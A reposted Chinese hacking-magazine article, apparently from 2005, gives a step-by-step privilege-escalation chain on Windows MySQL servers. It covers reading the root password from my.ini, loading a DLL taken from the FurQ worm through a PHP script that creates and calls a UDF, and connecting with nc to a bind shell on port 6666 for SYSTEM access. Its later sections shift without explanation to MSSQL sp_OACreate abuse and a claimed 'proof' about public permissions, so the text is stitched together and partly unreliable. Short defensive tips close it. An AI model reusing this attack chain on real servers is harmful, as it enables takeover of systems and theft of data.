萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

提權,以 MySQL 之名:UDF 注入實戰與絕對 public 權限不可行性證明

前言

本文已刊登於《黑客防線》2005 年第 7 期,轉載請註明版權與出處。早期公開的 MySQL UDF 漏洞利用自定義函數攻擊伺服器,初期僅有 Unix 版 Exploit 且成功率不高。近期國內高手釋出 Windows 版利用思路,本文詳細實踐從 WebShell 到系統權限的完整鏈條,並嚴謹論證絕對 public 權限下單靠 SQL 無法提權。

MySQL 建立自定義函數語法

CREATE FUNCTION FunctionName RETURNS [STRING|INTEGER|REAL] SONAME 'C:\function.dll';
  • FunctionName:函數名稱,對應 DLL 內導出函數名。
  • SONAME:DLL 路徑。
  • 若需帶參數必須符合 UDF 規範(參閱 MySQL 手冊第 14 節);無參數直接執行程式碼(如 System("command.com"))同樣可達攻擊效果(FurQ 蠕蟲即非 UDF 格式範例)。
  • 前提:MySQL 帳號需對 mysql 資料庫有寫入權限。

實戰提權鏈條

  1. 取得 WebShell: 假設已透過各類漏洞拿到 WebShell(示範 PHP Spy)。
  2. 讀取 MySQL root 密碼: 許多 Windows 主機在 %windir%\my.ini 存有敏感資訊,若目標對 %windir% 可瀏覽,極大機率讀到 root 密碼。
  3. 上傳惡意 DLL: 從 FurQ 蠕蟲提取 FurQ.dll,其 Shell 函數會在 6666 埠開啟帶密碼的 CMD Shell(密碼 FurQ)。
  4. 透過 PHP 建立並執行函數:
    <?php
    $link = mysql_connect('127.0.0.1','root','root'); // 從 my.ini 讀取
    @mysql_select_db('mysql');
    $query = "CREATE FUNCTION Shell RETURNS INTEGER SONAME 'd:\\wwwroot\\FurQ.dll';";
    @mysql_query($query, $link) or die("Create Function Failed!");
    $query = "SELECT Shell();";
    @mysql_query($query, $link) or die("Execute failed!");
    echo "Connect port 6666, password: FurQ";
    ?>
    
  5. 連線拿 Shell: nc 目標IP 6666,輸入密碼 FurQ 即得 cmd.exe,繼承 MySQL 權限(Windows 下 MySQL 預設以 LocalSystem 服務運行)→ 最高權限。

關鍵發現:相對 public 權限也能用 sp_OACreate/sp_OAMethod

  • 僅擁有 master 資料庫 db_owner、其他庫 public(「相對 public」)時,竟可呼叫理論上僅限 sysadmin 的 sp_OACreate、sp_OAMethod,可無亂碼寫 WebShell 或加系統帳號。
  • 原因未明,或為微軟遺留「彩蛋」。

絕對 public 權限下單靠 SQL 提權絕對不可能(證明)

  • sp_add_job 等需 SQLSERVERAGENT 服務啟動(預設關閉),xp_servicecontrol 啟動會報錯。
  • xp_regread 等需建表/插入資料再查詢,但 public 無建表/插入/備份權限,第一關即過不去。
  • 其他危險預存/擴展預存程序或權限不足或有限制。
  • 結論: 絕對 public 權限下,單靠 SQL 預存/擴展預存程序拿 WebShell/系統權限絕對不可能。

實戰經驗:master db_owner 機率極高

作者實戰:≥90% 網站給預設庫 db_owner 時同步給 master db_owner;僅 2-3 個用戶資料庫時 100% 給予。因此「相對 public」極具實戰價值。

網管防禦建議

  1. 最小權限原則:應用程式帳號勿給 db_owner,更勿給 master 權限。
  2. 杜絕 SQL Injection(根本之道)。
  3. 公開手法被修補不代表安全,未公開手法更多,需纵深防禦(WAF、審計、定期滲透測試)。
  4. 安全是整體,單點防禦不可靠。

結語

MySQL UDF 提權與 MSSQL 異曲同工,核心在於權限配置失誤。資安人員應回歸基本面:最小權限、參數化查詢、纵深防禦,而非賭攻擊者不知某招。

copyright © 萬盛學電腦網 all rights reserved